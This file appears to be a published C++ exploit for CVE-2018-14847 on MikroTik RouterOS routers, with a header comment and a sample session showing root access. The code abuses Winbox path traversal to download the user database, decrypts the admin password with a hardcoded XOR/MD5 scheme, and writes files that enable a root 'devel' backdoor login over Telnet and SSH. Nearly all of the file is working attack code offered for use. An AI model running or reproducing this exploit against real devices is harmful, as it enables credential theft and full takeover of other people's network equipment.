1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 |
/* # Exploit Title: RouterOS Remote Rooting # Date: 10/07/2018 # Exploit Author: Jacob Baines # Vendor Homepage: www.mikrotik.com # Software Link: https://mikrotik.com/download # Version: Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42 Beta: 6.29rc1 - 6.43rc3 # Tested on: RouterOS Various # CVE : CVE-2018-14847 By the Way is an exploit coded in C++ that enables a root shell on Mikrotik devices running RouterOS versions: Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42 Beta: 6.29rc1 - 6.43rc3 The exploit can be found here: https://github.com/tenable/routeros/tree/master/poc/bytheway The exploit leverages the path traversal vulnerability CVE-2018-14847 to extract the admin password and create an "option" package to enable the developer backdoor. Post exploitation the attacker can connect to Telnet or SSH using the root user "devel" with the admin's password. Mikrotik patched CVE-2018-14847 back in April. However, until this PoC was written, I don't believe its been publicly disclosed that the attack can be levegered to write files. You can find Mikrotik's advisory here: https://blog.mikrotik.com/security/winbox-vulnerability.html Note that, while this exploit is written for Winbox, it could be ported to HTTP as long as you had prior knowledge of the admin credentials. # Usage Example albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251 Trying 192.168.1.251... Connected to 192.168.1.251. Escape character is '^]'. Password: Login failed, incorrect username or password Connection closed by foreign host. albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251 ╔╗ ┬ ┬┌┬┐┬ ┬┌─┐╦ ╦┌─┐┬ ┬ ╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘ ╚═╝ ┴┴ ┴ ┴└─┘╚╩╝┴ ┴ ┴ [+] Extracting passwords from 192.168.1.251:8291 [+] Searching for administrator credentials [+] Using credentials - admin:lol [+] Creating /pckg/option on 192.168.1.251:8291 [+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291 [+] There's a light on albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251 Trying 192.168.1.251... Connected to 192.168.1.251. Escape character is '^]'. Password: BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. # uname -a Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown # cat /rw/logs/VERSION v6.38.4 Mar/08/2017 09:26:17 # Connection closed by foreign host. */ #include <sstream> #include <cstdlib> #include <iostream> #include <boost/cstdint.hpp> #include <boost/program_options.hpp> #include "winbox_session.hpp" #include "winbox_message.hpp" #include "md5.hpp" namespace { const char s_version[] = "By the Way 1.0.0"; /*! * Parses the command line arguments. The program will always use two * parameters (ip and winbox port) but the port will default to 8291 if * not present on the CLI * * \param[in] p_arg_count the number of arguments on the command line * \param[in] p_arg_array the arguments passed on the command line * \param[in,out] p_ip the ip address to connect to * \param[in,out] p_winbox_port the winbox port to connect to * \return true if we have valid ip and ports. false otherwise. */ bool parseCommandLine(int p_arg_count, const char* p_arg_array[], std::string& p_ip, std::string& p_winbox_port) { boost::program_options::options_description description("options"); description.add_options() ("help,h", "A list of command line options") ("version,v", "Display version information") ("winbox-port,w", boost::program_options::value<std::string>()->default_value("8291"), "The winbox port") ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to"); boost::program_options::variables_map argv_map; try { boost::program_options::store( boost::program_options::parse_command_line( p_arg_count, p_arg_array, description), argv_map); } catch (const std::exception& e) { std::cerr << e.what() << "\n" << std::endl; std::cerr << description << std::endl; return false; } boost::program_options::notify(argv_map); if (argv_map.empty() || argv_map.count("help")) { std::cerr << description << std::endl; return false; } if (argv_map.count("version")) { std::cerr << "Version: " << ::s_version << std::endl; return false; } if (argv_map.count("ip") && argv_map.count("winbox-port")) { p_ip.assign(argv_map["ip"].as<std::string>()); p_winbox_port.assign(argv_map["winbox-port"].as<std::string>()); return true; } else { std::cerr << description << std::endl; } return false; } /*! * This function uses the file disclosure vulnerability, CVE-2018-14847, to * download the user database from /flash/rw/store/user.dat * * \param[in] p_ip the address of the router to connect to * \param[in] p_winbox_port the winbox port to connect to * \return a string containing the user.dat data or an empty string on error */ std::string getPasswords(const std::string& p_ip, const std::string& p_winbox_port) { std::cout << "[+] Extracting passwords from " << p_ip << ":" << p_winbox_port << std::endl; Winbox_Session winboxSession(p_ip, p_winbox_port); if (!winboxSession.connect()) { std::cerr << "[!] Failed to connect to the remote host" << std::endl; return std::string(); } WinboxMessage msg; msg.set_to(2, 2); msg.set_command(7); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(1, "//./.././.././../flash/rw/store/user.dat"); winboxSession.send(msg); msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "[!] Error receiving an open file response." << std::endl; return std::string(); } boost::uint32_t sessionID = msg.get_session_id(); boost::uint16_t file_size = msg.get_u32(2); if (file_size == 0) { std::cerr << "[!] File size is 0" << std::endl; return std::string(); } msg.reset(); msg.set_to(2, 2); msg.set_command(4); msg.set_request_id(2); msg.set_reply_expected(true); msg.set_session_id(sessionID); msg.add_u32(2, file_size); winboxSession.send(msg); msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "[!] Error receiving a file content response." << std::endl; return std::string(); } return msg.get_raw(0x03); } /*! * Looks through the user.dat file for an enabled administrative account that * we can use. Once a useful account is found the password is decrypted. * * \param[in] p_user_dat the user.dat file data * \param[in,out] p_username stores the found admin username * \param[in,out] p_password stores the found admin password * \return true on success and false otherwrise */ bool get_password(const std::string p_user_dat, std::string& p_username, std::string& p_password) { std::cout << "[+] Searching for administrator credentials " << std::endl; // the dat file is a series of nv::messages preceded by a two byte length std::string dat(p_user_dat); while (dat.size() > 4) { boost::uint16_t length = *reinterpret_cast<const boost::uint16_t*>(&dat[0]); if (dat[2] != 'M' || dat[3] != '2') { // this is mild insanity but the .dat file messages don't line // up properly if a new user is added or whatever. dat.erase(0, 1); continue; } dat.erase(0, 4); length -= 4; if (length > dat.size()) { return false; } std::string entry(dat.data(), length); dat.erase(0, length); WinboxMessage msg; msg.parse_binary(entry); // we need an active admin account // 0x2 has three groups: 1 (read), 2 (write), 3 (full) if (msg.get_u32(2) == 3 && msg.get_boolean(0xfe000a) == false) { p_username.assign(msg.get_string(1)); std::string encrypted_pass(msg.get_string(0x11)); if (!encrypted_pass.empty() && msg.get_u32(0x1f) != 0) { std::string hash_this(p_username); hash_this.append("283i4jfkai3389"); MD5 md5; md5.update(hash_this.c_str(), hash_this.size()); md5.finalize(); std::string md5_hash(md5.getDigest()); for (std::size_t i = 0; i < encrypted_pass.size(); i++) { boost::uint8_t decrypted = encrypted_pass[i] ^ md5_hash[i % md5_hash.size()]; if (decrypted == 0) { // a null terminator! We did it. return true; } p_password.push_back(decrypted); } p_password.clear(); } } } return false; } } /*! * This function creates the file /pckg/option on the target. This will enable * the developer login on Telnet and SSH. Oddly, you'll first need to log in * to Telnet for SSH to work, but I digress... * * \param[in] p_ip the ip address of the router * \param[in] p_port the port of the jsproxy we'll connect to * \param[in] p_username the username we'll authenticate with * \param[in] p_password the password we'll authenticate with * \return true if we successfully created the file. */ bool create_file(const std::string& p_ip, const std::string& p_port, const std::string& p_username, const std::string& p_password) { Winbox_Session mproxy_session(p_ip, p_port); if (!mproxy_session.connect()) { std::cerr << "[-] Failed to connect to the remote host" << std::endl; return false; } boost::uint32_t p_session_id = 0; if (!mproxy_session.login(p_username, p_password, p_session_id)) { std::cerr << "[-] Login failed." << std::endl; return false; } std::cout << "[+] Creating /pckg/option on " << p_ip << ":" << p_port << std::endl; WinboxMessage msg; msg.set_to(2, 2); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.set_session_id(p_session_id); msg.add_string(1, "//./.././.././../pckg/option"); mproxy_session.send(msg); msg.reset(); mproxy_session.receive(msg); if (msg.has_error()) { std::cout << "[-] " << msg.get_error_string() << std::endl; return false; } std::cout << "[+] Creating /flash/nova/etc/devel-login on " << p_ip << ":" << p_port << std::endl; msg.reset(); msg.set_to(2, 2); msg.set_command(1); msg.set_request_id(2); msg.set_reply_expected(true); msg.set_session_id(p_session_id); msg.add_string(1, "//./.././.././../flash/nova/etc/devel-login"); mproxy_session.send(msg); msg.reset(); mproxy_session.receive(msg); if (msg.has_error()) { std::cout << "[-] " << msg.get_error_string() << std::endl; return false; } return true; } int main(int p_argc, const char** p_argv) { std::string ip; std::string winbox_port; if (!parseCommandLine(p_argc, p_argv, ip, winbox_port)) { return EXIT_FAILURE; } std::cout << std::endl; std::cout << " ╔╗ ┬ ┬┌┬┐┬ ┬┌─┐╦ ╦┌─┐┬ ┬" << std::endl; std::cout << " ╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘" << std::endl; std::cout << " ╚═╝ ┴┴ ┴ ┴└─┘╚╩╝┴ ┴ ┴ " << std::endl; std::cout << std::endl; // step one - do the file disclosure std::string user_dat(getPasswords(ip, winbox_port)); if (user_dat.empty()) { return EXIT_FAILURE; } // step two - parse the password std::string admin_username; std::string admin_password; if (!get_password(user_dat, admin_username, admin_password)) { std::cout << "[-] Failed to find admin creds. Trying default." << std::endl; admin_username.assign("admin"); admin_password.assign(""); } std::cout << "[+] Using credentials - " << admin_username << ":" << admin_password << std::endl; // step three - create the file if (!create_file(ip, winbox_port, admin_username, admin_password)) { return EXIT_FAILURE; } std::cout << "[+] There's a light on" << std::endl; return EXIT_SUCCESS; } |